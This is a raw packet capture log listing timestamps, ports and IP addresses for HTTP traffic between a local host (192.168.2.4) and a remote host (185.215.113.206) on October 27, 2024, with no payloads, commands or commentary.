Oct 27, 2024 12:13:16.424597979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.424613953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.424633980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.424649000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.424685955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.425035000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.425070047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.425095081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.425105095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.425122023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.425143003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.425158024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.425199032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.425378084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.425407887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.425441027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.425443888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.425471067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.425477982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.425503969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.425517082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.425530910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.425566912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.425669909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.425728083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.470472097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.470547915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.470556021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.470590115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.470599890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.470626116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.470642090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.470664024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.470674038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.470704079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.470711946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.470746040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.470757008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.470782042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.470793962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.470829964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.539917946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.539956093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.539974928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.539975882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.539993048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.540003061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.540013075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.540024996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.540046930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.540066004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.540066004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.540107965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.540112972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.540172100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.540462017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.540518999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.540533066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.540571928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.540586948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.540626049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.540642977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.540663004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.540671110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.540702105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.540710926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.540744066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.540755033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.540791035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.540802956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.540826082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.540837049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.540863037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.540873051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.540901899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.540904045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.541033030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.541157007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.541192055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.541205883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.541228056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.541239023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.541264057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.541289091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.541299105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.541320086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.541336060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.541351080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.541383028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.541634083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.541692972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.541762114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.541791916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.541805029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.541850090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.541907072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.541941881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.541953087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.541981936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.541996002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.542017937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.542032957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.542062998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.542304993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.542340040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.542360067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.542380095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.542392015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.542417049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.542427063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.542452097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.542463064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.542500973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.542959929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.542980909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.542998075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.543021917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.543049097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.587706089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.587758064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.587795973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.587830067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.587867022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.587934017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.587934017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.587934017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.587990999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.588059902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.588095903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.588124990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.588124990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.588124990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.588129997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.588145018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.588164091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.588179111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.588210106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.657511950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.657565117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.657619953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.657680988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.657737970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.657771111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.657772064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.657772064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.657772064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.657803059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.657809019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.657826900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.657845020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.657864094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.657881021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.657896996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.657917023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.657934904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.657953978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.657980919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.657984972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.658006907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.658025026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.658040047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.658061028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.658075094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.658098936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.658111095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.658149004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.658219099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.658253908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.658269882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.658291101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.658302069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.658338070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.658509016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.658560991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.658561945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.658591986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.658608913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.658639908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.658646107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.658680916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.658690929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.658718109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.658727884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.658763885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.658914089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.658948898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.658983946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.659113884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.659162998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.659197092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.659220934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.659244061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.659271955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.659295082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.659517050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.659553051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.659580946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.659588099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.659605026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.659622908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.659638882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.659658909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.659674883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.659693003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.659707069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.659728050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.659744024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.659775019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.660128117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.660162926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.660187006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.660200119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.660211086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.660237074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.660247087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.660284042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.704951048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.704997063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.705018044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.705037117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.705054045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.705073118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.705085039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.705101967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.705121040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.705354929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.747143984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.747195005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.747235060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.747375011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.747375011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.747375011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.774223089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.774378061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.774418116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.774456024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.774486065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.774523973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.774523973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.774523973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.774523973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.774578094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.774692059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.774713039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.774713039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.774729967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.774800062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.774894953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.774894953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.774894953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.777255058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.777308941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.777311087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.777347088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.777472973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.777473927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.777488947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.777543068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.777560949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.777580976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.777594090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.777628899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.777867079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.777903080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.777919054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.777939081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.777954102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.777976036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.777987003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.778023005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.778162956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.778212070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.778218031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.778253078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.778266907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.778299093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.778563976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.778598070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.778614998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.778633118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.778647900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.778667927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.778690100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.778702974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.778717995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.778738976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.778750896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.778774023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.778789997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.778810978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.778835058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.778862000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.779258013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.779305935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.779309988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.779366970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.779376030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.779402971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.779413939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.779441118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.779452085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.779489040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.779804945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.779839993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.779861927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.779875994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.779895067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.779910088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.779921055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.779947996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.779957056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.779997110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.822942972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.822998047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.823026896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.823044062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.823055029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.823056936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.823075056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.823103905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.823112011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.823146105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.823190928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.863357067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.863404036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.863814116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.864272118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.864320040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.864372015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.864692926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.891844034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.891891003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.891949892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.891957998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.891988039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.892023087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.892057896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.892087936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.892122984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.892158031 CET	80	49730	185.215.113.206	192.168.2.4
